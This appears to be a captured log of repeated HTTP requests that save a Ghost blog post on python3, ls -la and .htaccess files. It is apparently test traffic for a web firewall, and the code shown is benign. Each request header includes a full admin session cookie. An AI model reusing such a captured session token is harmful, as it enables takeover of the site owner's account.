\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8454", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8273", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8103", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
